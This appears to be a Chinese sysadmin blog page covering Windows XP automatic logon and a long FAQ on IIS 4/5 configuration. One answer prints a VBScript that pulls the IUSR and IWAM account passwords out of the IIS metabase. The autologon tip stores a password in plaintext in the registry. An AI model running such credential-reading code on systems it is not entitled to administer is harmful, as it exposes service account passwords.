网站运维、系统运维管理研究
2009/12/29Windows系统

5条评论
106 views

XP系统用户自动登录的几种方法

有个朋友问起,姑且记录一下

 

打开控制面板,进入“用户帐户”,在用户帐户主页上选择“更改登录或注销的方式”,把“使用欢迎屏幕”前面的勾去掉就可以 了。

下面是让Windows XP自动登陆的几种方法:

1.单击“开始/运行”,输入“rundll32 netplwiz.dll,UsersRunDll”,按回车键后弹出“用户帐户”窗口,看清楚,这可跟“控制面板”中打开的“用户账户”面板窗口不同哦!然后取消选定“要使用本机,用户必须输入用户名和密码”选项,单击确定,在弹出的对话框中输入你想让电脑每次自动登录的账户和密码即可

2.点击“开始”“运行”中输入“regedit”,打开注册表编辑器。依次展开“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon ”分支,然后在右侧窗口双击“DefaultUserName”,接着输入你的登录用户名。如果没有预设的用户名称,可以在注册表编辑器的菜单栏点选“编辑→新建→字符串值(s)→DefaultUserName”来添加这个项目,注意要区分大小写字母。同样在该分支下,在注册表编辑器的右侧窗口中双击“DefaultPassword”,然后在空白栏内输入你的密码。接下来在右侧窗口中双击“AutoAdminLogon”,将数值设置为“1”。假如未发现“DefaultPassword”和“AutoAdminLogon”,可按上面的步骤来新建该字符串值。现在关闭注册表编辑器并重新启动电脑,以后你会发现那个令人讨厌的登录对话框不见了。

3.在Windows 2000中,通过“控制面板”中的“用户帐户”功能,就可以轻松解决自动登陆的问题,但到了Windows XP中就不好解决了。因为在Windows XP中的“帐户管理”没有提供“自动登陆”的选项,要实现这个功能,必须使用清空用户登陆密码,删除多余用户等办法。
其实,还有一种简单有效的办法,可以让Windows XP自动登陆。运行“control userpasswords2”命令,就可以打开原来Windows 2000风格的用户帐户管理界面,在这个窗口中去除“要使用本机,用户必须输入用户名和密码”的勾选,然后点击“应用”,在弹出的“自动登陆”窗口中输入要自动登陆的用户名和密码,确定后,一切就OK了。

性能测试之计数器的阀值(windows)

通常,决定性能是否可以接受是一种主观判断,随用户环境的变化而明显地变化。作为本组织基线建立的值是比较的最佳基础。但是,下表包含特定计数器的阈值,可以帮助您决定计算机报告的值是否指明问题。如果“系统监视器”连续报告这些值,可能是系统存在瓶颈,应当采取措施来调整或升级受影响的资源。

 

继续阅读 »

2008/02/22Windows系统

1条评论
40 views

IIS常见问题及解答以及故障分析

IIS常见问题及解答以及故障分析

解决以下常见问题:

1. 我怎样对IIS设置进行备份?

2. 什么工具能帮助我施加一个负载并进行应用程序的强度测试?

3. 当Localstart.asp返回了一个“正在创建中”响应时,发生了什么事情?

4. 能在Microsoft Windows XP Home Edition中安装IIS或PWS吗?

5. ISAPI筛选器能在一个单独的进程空间中运行吗?

6. 我在哪能获得这样的示例代码–它显示了如何在使用WebDAV的ASP中编辑文档?

7. 当我试图用ASP去访问一个数据库时,我得到了一个“拒绝访问”的回应,这是什么原因?

8. 如何在没有恢复原始设置的情况下运行IIS锁定工具?

9. 在我的intranet环境中,如何处理“server-side include”语法,而不必重新命名所有的文件?

10. 当我从一个客户工作站进行访问时,怎样做才能在IIS 4.0(Windows NT 4.0 Service Pack 6a)中访问IISADMIN虚拟目录而不会导致服务器重新启动呢?

11. 在Windows 2000 Professional中,我怎样做才能让域用户来管理虚拟目录,以便域用户能够创建和管理他们自己的虚拟目录?

12. 在Windows 2000 Server上,当一个站点需要SSL时,我怎样才能在相同的站点上使用主机头?

13. 如何在Microsoft Windows XP Home Edition中安装IIS 5.0?

问: 我怎样对IIS设置进行备份?

答: 有多种方法可以用来完成此项工作。在Internet信息服务管理器控制台(IIS插件)中所设置的属性和值都被储存在Metabase.bin文件中,缺省情况下,这个文件位于“C:winntsystem32inetsrv”目录中。在IIS 5.0中,你可以从内置的IIS插件中来备份元数据。如果需要进行此工作,请选择桌面上的计算机图标然后单击右健。然后再选择 “备份/恢复配置”。然后你就可以选择备份现有元数据设置或者恢复以前的版本。与此相同的选项在MetaEdit 2.2中也可找到。

当你以这种方式保存了元数据时,你的备份将以.md0文件的格式储存在C:winntsystem32instrvmetaback文件夹中。当你执行备份时,文件将使用你所指定的名称,如Pre-Lockdown.md0。如果你使用相同的文件名创建了多个备份,他们将使用数字逐渐递增的扩展名,如Backup.md0,Backup.md1等等。

在你的元数据严重损坏的情况下,你将不能启动IIS。此时,你也不能从IIS插件或metaedit中执行恢复操作。如果真的发生了类似情况,你就可以通过从备份文件夹中选用最合适的.md0(.md1等等)元数据备份文件来替换Metabase.bin。如果你的备份文件没有错误,IIS将会立刻启动。

制作元数据的备份还有其它两个意义。你可以使用xcopy,scopy或其它复制程序来简单地复制Metabase.bin文件。你应该先停止Internet服务,以保证你的元数据是最新的并且不在使用状态中。

最后,我们还提供了两个脚本–metaback.vbs和metarest.vbs–它们位于Inetpub/IISSamples/sdk/admin(如果你在IIS 5.0上安装了IIS SDK)文件夹中或在IIS Resource Kit/Utility/ADSI Admin Scripts文件夹(如果你安装了IIS 4.0 Resource Kit)中。这些.vbs脚本使用了一个ADSI命令,它是专门为创建元数据备份而提供的。

问:什么工具能帮助我施加一个负载并进行应用程序的强度测试?

答: 有许多工具可以用来实现这个目的。而且有一些功能完备并且十分有用的你将会发现有相当多的可利用的商业工具可供您利用被完全装备了,并且这些工具是有很用的。Microsoft提供了Web Application Stress Tool,在大多数情况下,对于装载在Web服务器上施加负载来说,并检查它在一定压力下是否能够正常工作这一目的当进行应用程序强度测试时,查看它们的执行情况,这个工具是足够用的。预先执行测试是一个好主意,因为在应用程序的设计过程中,问题并不会显现出来,除非在这个服务器上施加一定负载被加载了–而且在一个产品成品服务器上你肯定不希望发现任何问题。

Web Application Stress Tool有几个有用的特性,它可以将您包括当你在通过Web站点中进行的指向并和点击操作记录为一个可重新回放的脚本路线时记录重放脚本的能力。然后当你远程监视服务器上的性能监视计数器时,就能同步地在一个或多个客户端上重新播放这个脚本。另外,你还能指定详细资料,如用于测试验证身份验证吞吐量所使用的用户账号,以及显示请求和测试计划日程之间的延迟。

当你在你安装了Web Application Stress Tool的时时候,它还在计算机上安装了一个服务,叫名为做“WebTool”的服务。如果你确信当不再需要这个工具时,您可以卸载Web Application Stress Tool。

问: 当Localstart.asp返回了一个“正在创建中”响应时,发生了什么事情?

答: 这个“正在创建中”页面应该出现在从一个远程的IP地址对默认的Web站点进行访问的时候。如果你从一个内部的IP地址访问,IIS在线文档就会被显示。如果你在Internet Explorer中访问http://localhost,并且未安装Default.htm或Default.asp,则Web站点将会运行IISStart.asp。IISStart.asp将检查下面两个条件:

你是否已经敲入输入了“localhost”。

客户端的IP地址是否与服务器端IP地址相匹配。

在任一种情况下,你都将会被重定向到Localstart.asp,然后打开所需要的页面。

确定这些文件在你的系统上是存在的,并且在“文档”选项卡标签中调用的是IISStart.asp。为了确定这些,你可以尝试写一段简短的.asp网页,来显示服务器变量的值,如下:

Your local IP address is 207.46.249.190

The client IP address is 210.82.106.28

如果IP地址没有被识别,则可能是因为Localstart.asp页未被调用。当然,你总是可以通过直接使用http://localhost/localstart.asp来调用它。如果没有配置默认文档,在直接调用Localstart.asp时就可能出现问题。脚本将返回下述消息:

目前当前,你没有为用户设置一个默认文档。当前所有试图连接到这个站点的用户都将收到一个“正在创建中”的页面。

问:能在Microsoft Windows XP Home Edition中安装IIS或PWS吗?

答: Windows XP Home Edition不支持任何版本的IIS,没有任何可靠的方法能使其运行IIS。Windows XP Home Edition并未设计成一个Web应用程序的开发平台。在升级到Windows XP Professional后,你就可以在系统上安装IIS 5.1,以便利用ASP.Net进行开发工作。在Windows XP Professional上的IIS 5.1是一个全功能的Web服务器端,但是它只能建立10个并发连接,这是因为它只是一个工作站操作系统而不是服务器平台。Windows XP Home Edition还有一些与Windows XP Professional相同的其它限制,因为它也是一个工作站操作系统而不是服务器操作系统。大体上,你会发现,在Windows 2000 Professional和Windows 2000 Server或Advanced Server上的IIS 5.0中,这些差别是相类似的。无论怎样,对于使用.NET Framework来开发基于Web 的应用程序来说,Windows XP Professional才是一个优秀的环境。

问:ISAPI筛选器能在一个单独的进程空间中运行吗?

答: 为与Web服务器协同工作所开发的应用程序都有着特殊的要求。例如,你不能从一个URL中调用一个Notepad.exe实例并且希望在客户端的系统上看到一个记事本窗口。为了从IIS中与请求进行交互(并不是CGI),程序必须使用ISAPI编写。ISAPI是Internet服务器应用程序接口(Internet Server Application Programming Interface)的缩写。有两种可执行的ISAPI:扩展和筛选器。

可以从一个URL中直接调用ISAPI扩展,如http://localhost/myisapi.dll。假设你已经在目录上配置了IIS,允许脚本和可执行程序,并且用户有执行NTFS的许可权限,则dll将会运行。IIS允许你指定应用程序是在进程内(作为Inetinfo部分)运行还是在进程外(作为IIS 4.0上的MTX部分,或者作为IIS 5.x部分的dllhost)运行。当一个应用程序在进程外运行时,Inetinfo就从问题中被隔离出来。如果应用程序出现故障,Web服务器也会出现故障。

ISAPI筛选器又是另一个内容。ISAPI筛选器能改变进入或离开IIS的数据流。因此,ISAPI筛选器有着非常强大的功能,能用来实现客户日志、验证或更改数据流。对IIS 5.0来说,在ISAPI筛选器中实现的特性包括数据压缩、摘要验证和URLScan。

因为筛选器在IIS中扮演了一个如此重要的角色,所以它们总是作为Inetinfo部分运行在过程内。因此,正确的ISAPI筛选器结构对服务器的正常运行是必备的。你可能希望与Microsoft 产品支持服务一起工作来确定问题,因为处理这种例外可能是一个较大的挑战。

基于这个考虑,有两个新技术可以使生活更加轻松,IIS 6.0就是其中的一个。由于它是一个新的体系结构,所有的ISAPI筛选器都在进程外运行。这将使Web 服务器从一个捉摸不定ISAPI筛选器中隔离开来,但这实际上并没有真正解决问题。为了解决这个问题,你可以考试使用.NET语言在ISAPI方面做一些工作。通使用C++设计ISAPI筛选器相比,使用.NET实现相同的功能要大为简单。

问:我在哪能获得这样的示例代码–它显示了如何在使用WebDAV的ASP中编辑文档?

答: 从IIS上的脚本中使用WebDAV的最好方法就是使用ASP.Net的WebClient类。如果你正在使用Windows XP或Windows Server 2003,WebDAV功能就是这个操作系统的一部分。这就允许你在一个Web服务器上使用HTTP引用一个文件,就像使用一个UNC路径名称一样。例如,你可以用NET USE * http://servername/directory来映射一个驱动器,然后通过使用驱动器符号来访问这个位置。另一方面,你还可以创建一个COM对象,它是一个WebDAV的客户端。你可以使用这个对象向IIS 5.x或IIS 6.0传递WebDAV动词。

另外,如果你以WebDAV为关键词搜索MSDN,你将会找到一些例子,它们教你如何使用XML来为Exchange和其它Microsoft服务器构造WebDAV的查询。在Microsoft Exchange 2000 Server SDK中有一个WebDAV的示例应用程序。

问:当我试图用ASP去访问一个数据库时,我得到了一个“拒绝访问”的回应,这是什么原因?

答: 有一个名为“Filemon”的优秀免费工具,你可以从Sysinternals.com上获得它。你可以使用Filemon来快速诊断出绝大多数的权限问题,因为它能实时显示服务器上的全部文件权限、调用的过程名称及访问的结果。因此,无论隐藏多么深的嵌套包含或多么模糊的临时索引,任何“拒绝访问”的消息都能被轻松识别。

当一个在先前的操作系统上能够正常工作的应用程序在升级后出现问题时,它就无能为力了。但是,这种类型的问题还是有启发意义的。IIS 4.0和IIS 5.0之间的一个差异就与COM和COM+之间的一个差异有关系。在IIS 5.0中,当一个COM+对象代表用户访问文件时,它的默认行为就是使用用户的安全上下文环境来完成这些工作。这在IIS 4.0中并不算什么事情。因此,当从IIS 4.0向IIS 5.0迁移包含COM的应用程序时,你可能需要向文件提供用户权限,而在IIS 4.0中并不需要。虽然跟以前相比这有些不方便,但是它在提高应用程序安全性设计方面的确是一个进步。即使是不能使用定制的COM对象去访问数据库,COM在本地的IIS组件中还是得到了广泛的应用。

这里有一个能够帮助您理解这种需求的例子,比如,你需要为正在创建数据库的用户授予请求使用Access临时文件夹的权限。更多的信息请查阅Microsoft Knowledge Base中的Q210457和Q271071。

问:如何在没有恢复原始设置的情况下运行IIS锁定工具?

答: IIS锁定工具非常有效。这个工具允许你轻松、显著地增加服务器的安全性。一旦运行了这个工具,它就将其活动的历史记录储存到一个文件中,这个文件的位置是%systemdrive%\%systemdir%system32inetsrv。你将在下面的文件中找到这个信息:

Oblt-rep.log

Oblt-once.md0

Oblt-mb.md0

Oblt-undone.log也可能是最新的。

如果你删除了这些文件,向导就会启动,就好像IIS Lockdown tool并未被运行一样。重复这个过程并没有什么风险。在你这么做之前,一定要制作一个Metabase.bin的副本。

因为当它第一次运行的时候,这个过程将会让你运行锁定工具,就好像它从未被运行过,但并不会“解开”或反转锁定工具进行了一些设置,所以这个过程应该可以正常工作。

问:在我的intranet环境中,如何处理“server-side include”语法,而不必重新命名所有的文件?

答: IIS 4.0和IIS 5.0提供了这样一个选项,它不需要你更改所有文件的扩展名。ASP处理器也能处理服务器端的include语法,因此没有必要使用.stm或者是.asp扩展名。那么,这对你又有什么帮助呢?通过在应用程序配置中创建一个条目,你可以将.htm 文件映射为由asp.dll处理,这样,哪些带有.htm扩展名的文件就将由asp.dll来处理。通过使用这种方式,那些含有includes的.htm 文件不用重命名就能被处理。现在你可能在考虑:“这会不会导致我所有的.htm文件都像脚本一样被处理,从而降低系统的性能呢?”事实上,在IIS 4.0中,这的确是一个问题;但是,在IIS 5.0中,性能问题并不像你想象中的那么大,并且在IIS 5.1中,甚至会更好。IIS 5.0有一个特性叫做“Scriptless ASP”(无脚本ASP)用来处理这个特殊的问题。如果一个不包含脚本的文件被提交到ASP处理器,它就不会被解析,只是简单地作为静态页面发送出去–在这种特定的情况中是一个有用的特性。

问:当我从一个客户工作站进行访问时,怎样做才能在IIS 4.0(Windows NT 4.0 Service Pack 6a)中访问IISADMIN虚拟目录而不会导致服务器重新启动呢?

答: 因为IIS 4.0是在Windows NT 4.0 Service Pack 6a(SP6a)之前发布的,所以一定要在安装完IIS 4.0后重新安装SP6a和所有必需的即时修补程序。

问:在Windows 2000 Professional中,我怎样做才能让域用户来管理虚拟目录,以便域用户能够创建和管理他们自己的虚拟目录?

答: 你需要做的最后事情就是将域用户加入到Power Users组中,因为这样就可以为域中任何一个拥有用户帐号的人赋予经过提升的权限。如果你信任域中的每一个成员都可以对系统进行很好的管理,这样做不会有什么问题,但是对于大多数计算机用户来说,这样的信任级别是不合适的。

为了在IIS中创建一个虚拟目录,用户需要有管理员权限。之所以这样设计,是因为任何能在Web站点上创建虚拟目录的人也能对虚拟目录进行删除、重命名、重定向或其它管理工作。

认识到这点后,你可能希望不为用户提供管理员身份就能获得类似的权力,在IIS插件中有一个特性(“操作员”标签),能让你指定一个Web站点操作员(不是管理员),为Web站点创建虚拟目录。这个特性只有在Windows 2000 Server、Windows 2000 Advanced Server和Windows 2000 Datacenter Server中是可用的。相同的特性也可应用于IIS 4.0。

另外,你还可以在IIS Web站点内部创建一个虚拟目录,并将它映射到%systemroot%\%systemdir%inetsrviisadmin。你应该保护这个虚拟目录的安全,否则那些访问这个站点的人就能够管理这个Web站点。还要注意,这只有在Windows 2000 Server,Windows 2000 Advanced Server,和Windows 2000 Datacenter Server (以及IIS 4.0)上面是可行的。

当你发现你自己根据操作系统的限制将扩展权限授予了其他人或别的工作组,并且试图将你的工作站当作服务器时,你可能需要安装一个服务器操作系统。

问:在Windows 2000 Server上,当一个站点需要SSL时,我怎样才能在相同的站点上使用主机头?

答: 让我们回顾一下SSL和主机头的问题,因为对IIS来说,它的问题一直在常见问题解答的头五个中。

当客户发出一个到IIS服务器的HTTP连接请求时,这个客户的请求包括一个叫做HOST:的字段,它包括了URL中的Web服务器请求。例如,如果你的请求将http://www.microsoft.com作为目的地,则浏览器将其发送到服务器,并一同提交HTTP头中的其它信息,HOST: http://www.microsoft.com。因为此字段的名称是“HOST”,并且它在客户的HTTP头中,所以我们把它称作“主机头”。

如果客户请求建立一个SSL连接,主机头字段仍然会包括在请求当中,只不过它被包含在这个包的加密部分里(在应用层中),因此Web服务器无法对其进行解密,以确定应该将请求发送到哪一个Web站点。

这就产生了一条定律:当使用SSL时,不能使用主机头来作为识别一个Web站点的主要手段。

如果你确实想使用带有主机头的SSL,那么会发生什么情况呢?考虑一下这个情况。你有两个Web站点,其中一个不使用主机头,另一个则使用。两个站点都使用相同的IP地址,并且都配置成使用证书。当你利用SSL访问使用主机头的站点时,第一个Web站点会对此做出响应。之所以发生这种情况是因为:我们使用IP地址来识别你希望用来建立连接的站点,而不是主机头。因为第一个站点对IP地址和HTTPS有反应,所以它接受了请求。如果第一个Web站点需要主机头,并且在不同的IP地址上,或者没有证书,那么连接将会失败。

因此,请考虑你的配置,在你需要SSL的相同站点上,只要不使用主机头,你就可以做任何想做的事情。

问:如何在Microsoft Windows XP Home Edition中安装IIS 5.0?

首先需要说明一点,就是这种做法可能会有风险,因此在你实际操作之前,最好明确你的行为会带来什么后果。并且经过这样处理安装的IIS在运行上可能存在某种未知的缺陷。还有,同Professional版的XP一样,在Home版上运行的IIS也有10个并发连接的限制。在同一个时间内,最多只能有10个人使用你提供的IIS服务。如果你还想继续,那么就往下看吧。

准备条件:一张Windows 2000 Professional的光盘(假设光驱是F盘)。

首先在运行中输入"c:windowsinfsysoc.inf",系统会自动使用记事本打开sysoc.inf这个文件。在sysoc.inf中找到"[Components]"这一段,并继续找到类似"iis=iis.dll,OcEntry,iis.inf,hide,7"的一行字,把这一行替换为"iis=iis2.dll,OcEntry,iis2.inf,,7"。之后保存并关闭。

把Windows 2000 Professional的光盘插入光驱,同时按下Shift键禁止光驱的自动运行。在运行中输入"CMD"然后回车,打开命令行模式,在命令行下输入下列的两条命令,在每一行命令结束后回车:

  Expand d:i386iis.dl_ c:windowssystem32setupiis2.dll

  Expand d:i386iis.in_ c:windowsinfiis2.inf

“Web 匿名用户”帐户密码的位置

问:我们希望向“Web 匿名用户”帐户授予从其他系统上读取信息的访问权;可是,我们不知道该帐户的密码。怎样才能获得该密码呢?

答:IUSR_ 帐户就是“Web 匿名用户”帐户,它是在 IIS 的安装过程中创建的。该密码存储在本地 SAM 中(对于 Windows 2000 域控制器而言存储在 Active Directory 中),Metabase 中也存储着该密码。由于该密码存储在 Metabase 中,您就可以使用一个 .vbs 脚本将 IUSR 和 IWAM 这两个帐户的密码提取出来,方法如下:

Dim IIsObject

Set IIsObject = GetObject ("IIS://localhost/w3svc")

WScript.Echo "AnonymousUserName = " & IIsObject.Get("AnonymousUserName") & vbCrlf & _

"AnonymousUserPass = " & IIsObject.Get("AnonymousUserPass") &vbCrlf &vbCrlf &_

"WAMUserName = " & IIsObject.Get("WAMUserName") & vbCrlf & _

"WAMUserPass = " & IIsObject.Get("WAMUserPass")

Set IIsObject = Nothing

注: 通过此脚本可以显示在主属性级别上针对 Web 服务设置的 IUSR 和 IWAM 帐户密码。如果您已将匿名验证配置为使用另外一个用户帐户来访问网站或目录,那么您必须相应地修改该脚本,以反映所做的更新。

如何在不同计算机之间移动 Metabase

问:有没有文档资料记录 IIS 4.0/5.0 中针对不同计算机的密钥?如果我需要将 Metabase 从一台计算机移到另一台计算机上,应该采用哪种方法?我读了 IISSync 实用工具的说明文档,但不能解决我的问题。我在找一种类似于 MergeINI 文件这样的工具。

答:IIS 4 和 IIS 5 均使用 %systemdir%/system32/inetsrv 中的 metabase.bin 来存储 IIS 配置信息。Metabase 的密钥是针对安装 IIS 的计算机设置的,所以您不能简单地在不同系统间移动 Metabase。正如 2001 年 11 月这一期的 IIS 有问必答专栏 (http://www.microsoft.com/technet/columns/insider/iisi1101.asp) 中指出的那样,您可以使用 Metaedit 2.2 (http://download.microsoft.com/download/iis50/Utility/5.0/NT45/EN-US/MtaEdt22.exe) 从 IIS 4 或 IIS 5 中导出 Metabase,然后再将这些设置导入另一个系统。导入后仍需确保导入系统中的设置正确无误。例如,如果您的 Web 站点主目录位于驱动器 D 上,而您使用 Metaedit 将 Web 站点导入一个新系统中的驱动器 E 上,就会导致 IIS 找不到站点内容。

另一个可用于迁移 Metabase 的实用工具是 IIS Export。这是一个非常实用的迁移工具,位于以下网址:http://www.adsonline.co.uk/IISExport。这个共享件实用工具可以复制文件和权限,并将 Metabase 存储在一个数据库中,以便将配置信息应用到多个系统中。

最后,还可以借助 IIS Migration Tool。该实用工具属于 Windows 2000 资源工具包的一部分,可以从 http://www.microsoft.com/serviceproviders/downloads/migration_toolsP65238.asp 下载。该工具可以通过端口 80 传送 Metabase、文件和权限,但最多传送 4GB 的数据。尽管不支持它作为资源工具包的一个实用工具,但该工具还是非常有用的。

可用于排除 SMTP 服务故障的资源

问:我想询问有关 IIS 5.0 的 SMTP 服务的信息。我使用默认设置无法发出邮件,请问如何解决这个问题?

答:IIS 5 中的 SMTP 服务是 IIS 4 SMTP 服务的增强版本。您可以在很多地方找到非常有用的信息。除了随服务器安装的联机帮助文件,您还可以查阅以下文章:

How to Configure the IIS SMTP Service to Relay SMTP Mail(如何配置 IIS SMTP 服务以转发 SMTP 邮件,Microsoft 知识库文章 Q230235)

Setting Up the SMTP Mail Service in Windows 2000 – Part 1(在 Windows 2000 中设置 SMTP 邮件服务 – 第一部分,http://www.asptoday.com/content/articles/20000306.asp)

但我个人更愿意查阅由微软出版社出版的 Running Microsoft Internet Information Server(运行 Microsoft Internet Information Server)一书中相关的一章。本书对所有 IIS 管理员都是必读的,尽管其中介绍的是 Internet Information Server 4,但大量篇幅都适用于 IIS 5,包括涉及 SMTP 的那一章。您可以在 Microsoft TechNet 网站上找到这一章,网址是 http://www.microsoft.com/technet/prodtechnol/iis/iis4/deploy/confeat/mail.asp。

最后,还可以参考 Microsoft 培训课程中有关如何配置 SMTP 服务的一个模块,课程名称为 2295a – Implementing and Supporting Microsoft Internet Information Services 5.0(实施和支持 Microsoft Internet Information Services 5.0)。

如何在系统帐户环境之外运行应用程序

问:我的 IIS 服务器可以运行一个自定义的 mpeg 播放应用程序。该应用程序可以将 mpeg 数据进行流式处理,具体是使用一块特殊的卡将数据解码并以流式输出到投影机上。当 mpeg 源位于本地磁盘上时,这个进程可以正常运行。但现在我需要从 Unix 服务器上提取 mpeg。当 IIS 加载 mpeg 播放应用程序时,总是以 SYSTEM 身份执行加载,但此身份无法访问 NFS(Unix 服务器)共享资源。我需要让 IIS 在启动 mpeg 播放应用程序时使用 SYSTEM 以外的一个用户身份。我已经试过更改 IIS 服务使用的用户帐户,但这样一来问题更多了。如何才能解决这个问题,我到底错在哪里呢?

答:任何进程都总是在帐户的“上下文”中运行的。正如您指出的那样,INETINFO 是由 SYSTEM 帐户所启动的进程,所以 Inetinfo 是在 SYSTEM 帐户上下文中运行的。SYSTEM 帐户不属于典型的用户帐户。SYSTEM 帐户的一个特点之一就是不具备网络访问权,因此,以 SYSTEM 身份运行的应用程序无法访问网络资源。某些情况下,可以对服务进行配置,让它作为由一个指定的用户帐户启动的进程运行,但 IIS 又不支持此项配置功能。

最理想的做法就是让 IIS 服务器中的应用程序切换“上下文”,使用正调用该应用程序的用户的安全身份验证凭据(有关详细信息,请参考以下两本书:由微软出版社出版的 Designing Secure Web-Based Applications for Microsoft Windows 2000(为 Microsoft Windows 2000 设计安全的基于 Web 的应用程序)及 Addison Wesley 出版的 Programming Windows Security(Windows 安全性编程)。

不过,您还可以通过将应用程序配置为在进程外 运行来解决问题。您可以在 IIS 管理单元的 Web 站点或目录属性中配置该设置。在 Internet Information Server 4 中,需要选中“在单独的内存空间中运行(独立进程)”复选框;在 IIS 5 中,需要将应用程序保护级别设置为“中”或“高”。一经配置,应用程序将在 IWAM_ 帐户而不是 SYSTEM 帐户的上下文中运行。IWAM 是一个普通的用户帐户,您可以为其分配访问远程网络资源的权限,这样在此环境中运行的应用程序就可以访问这些资源了。

作为多个站点的主机时推荐使用的文件夹结构

问:在选择主目录和主目录的物理文件夹结构时需要注意哪些事项,特别是在作为多个站点的主机时需要注意什么?如果有 A 公司、B 公司或更多公司,它们是应位于 Inetpub 文件夹下还是 wwwroot 之下?换言之,wwwroot 是所有 Web 站点的根目录还是只是安装的默认 Web 站点的根目录?这对访问 Scripts 等文件夹有何影响?

答:以下几点说明可以澄清上述疑问。安装 IIS 后,系统的目录结构将如下所示:

Drive Root

Inetpub

Adminscripts

Ftproot

Iissamples

Scripts

Wwwroot

因为看到 wwwroot 名称中含有“root”,人们往往就会推断它是存储所有 Web 内容的位置,但是,事实并非如此。该文件夹只是“默认 Web 站点”的主文件夹,您应将该名称视为与“DefaultWebRoot”等同。

故此,您最好将新的 Web 站点放入默认 wwwroot 文件夹之外的文件夹中。如果不这样做,所有 Web 站点内容都只能从默认 Web 站点中读取。另外,为安全起见,不应将网站内容放在系统驱动器中。

还应特别注意 Scripts 文件夹。默认情况下,Scripts 文件夹的访问权限设为每个用户 – 完全控制,并允许执行脚本,所以必须使该文件夹的安全控制更严格一些。我建议将 Scripts 文件夹重新定位到新的 webroot 所在的驱动器,并对其重命名。这样如果有人想探查服务器中有没有名为“Scripts”的文件夹,并在找到此文件夹后试图上传负载,那么这种攻击行为将被挫败。 [SplitPage]

用 IIS 设置并路由子域

问:在 W2K 服务器上,怎样用 IIS 5.0 创建子域?如果我让 BerAult.Com 在根 web 站点,并希望让 Technical.Bertault.com 带我到一个新文件夹或者子站点,应如何设置它?我所能找到的全部信息都是关于如何将 Berault.com/technical 配置成 URL 的。

答:您的 web 站点体系结构及其与 DNS 的集成对于您的 IIS 安装来说当然是一个很关键的部分。正如您说的那样,为 Berault.com/technical 配置一个站点很容易,因为它实际上就是位于 Beralut.com 站点内的一个文件夹或虚拟目录。

而将 technical.bertault.com 配置为一个“子站点”则是另外一回事,这一点您已知道了。按照设计,URL 的构成是这样的:http://domainname.com 应是 http://hostname.domainname.com 的父级域。这是 DNS 的设计使然,DNS 要求 URL 中使用这种名称空间结构。不过,就一个 web 服务器而言,它们是两个完全不同的概念。IIS 并不认为它们之间有什么关系。

因此,您应将 technical.berault.com 作为一个完全不同的 web 站点来看待。在 DNS 中,您可以为 technical.berault.com 添加一条 A 记录,此记录给 technical.berault.com 分配一个与 berault.com 相同的 IP 地址。然后,您可以创建一个 ASP 页,用它检查传入的 URL 并相应地路由请求。如果您想让“子域”路由到您主 web 站点内的一个文件夹,这一点将非常有用。或者,您也可以创建一个全新的 web 站点,用一个新的 IP 地址(它必须在 DNS 中配置)或用 IIS 内的主机标题来标识它。

您可以为您的“子域”创建一个新的 web 站点,使其主文件夹作为其父级域内的一个位置。虽然这样做是可行的,但我建议您不要这样做,因为这样您会发现同一内容将有两个管理界面,而且没有办法使它们保持同步。这样会导致对配置和安全问题进行故障诊断时出现困难。

屏蔽 HTTP 标头(内容-位置)中的 IP 地址

问:在对 IIS 5 服务器进行端口扫描时,它返回以下信息:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Content-Location: http://192.168.0.44/Default.htm

Date: Tue, 19 Feb 2002 20:19:20 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Tue, 19 Feb 2002 20:04:10 GMT

Content-Length: 16

问题是,Content-Location(内容-位置)标头暴露了 web 服务器的内部 IP 地址。这就为黑客大开了方便之门。是否有办法让 IIS 在扫描过程中不返回服务器的 IP 地址?

答:有,您可以配置 IIS 4 和 IIS 5,使 Content-Location 字段返回 URL 而非 IP 地址,如下所示:

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Content-Location: http://homer.test.bh.tm/Default.htm

Date: Tue, 19 Feb 2002 20:27:20 GMT

Content-Type: text/html

Accept-Ranges: bytes

Last-Modified: Tue, 19 Feb 2002 20:04:10 GMT

Content-Length: 16

要做到这一点,您必须将 UseHostName 这一值添加到 Metabase 中的 W3SVC 键上。最简单的办法是使用默认情况下安装在 InetpubAdminscripts 中的 ADSUTIL 程序,如下所示:

adsutil set w3svc/UseHostName True

然后,您必须重新启动 web 服务。有关更多信息,请参阅 Microsoft 知识库文章 Q218180。

更改 CGI 脚本超时时间

问:我们每天都要运行一个 CGI 脚本。开始时它运行一会儿,接着我们就会收到一条消息说“超过了 CGI 的时间限制”。CGI 的时间限制是多长,是否有办法改变它?

答:IIS 确实有一个与 CGI 进程关联的超时限制,默认设置为 300 秒(5 分钟)。此设置可以在用户界面上更改。此设置只在 WWW 服务的 Master 属性中可以看到,所以不易找到它。打开“IIS 管理单元”,右键单击您的服务器并选择“属性”。在选定 WWW Service Master Properties(WWW 服务主属性)后,单击 Edit(编辑)。单击 Home Directory(主目录)选项卡,然后依次单击 Configuration(配置)选项卡、Process Options(进程选项)选项卡,如图 1 所示。在这里可以看到 CGI 脚本超时设置。

如果您的浏览器不支持内嵌框,请单击此处在单独的页中查看。

图 1 Application Configuration(应用程序配置)中的 Process(进程选项)选项卡

从 IIS Lockdown 工具中提取 URLScan

问:我们希望在服务器上安装 URLscan,但又不想运行 IISLockdown 工具。以前,Microsoft 是分别提供这些工具的,而现在它们都在同一个安装中。怎样才能既安装 URLScan 又不运行 IISLockdown 呢?

答:您刚才说过,Microsoft 以前是分开发行 IIS Lockdown 工具和 URLScan 的。IIS Lockdown 工具的 2.1 版在更新之后包含了 URLScan 2.0。在绝大多数情况下,IIS Lockdown 向导应在 IIS 服务器上运行。这样将执行若干个重要步骤以加强您服务器的安全,并将配置和安装 URLScan ISAPI 筛选器。

可以从 IIS Lockdown 安装包中提取 URLScan 组件,并在不运行 IIS Lockdown 的情况下安装它。这将为您提供 URLScan 的 2.0 版本,而不是它的 1.0 版;在本文脱稿时,1.0 版仍可以作为一个单独的可下载软件从 Microsoft 的下载页和通过许多 Microsoft 知识库文章来下载。

如想从 IISLockdown 2.1 中提取 URLScan,请首先下载 IISLockdown 2.1。然后在该工具的位置打开一个命令提示窗口并键入以下命令:

iislockd.exe /q /c /t:c:lockdown_files

此命令将从安装包中提取这些文件。然后,您就可以将 URLScan.dll 安装为一个 WWW Master 属性级别的 ISAPI 筛选器。确保存放 URLScan.ini 文件的位置与存放 URLScan.dll 文件的位置相同。

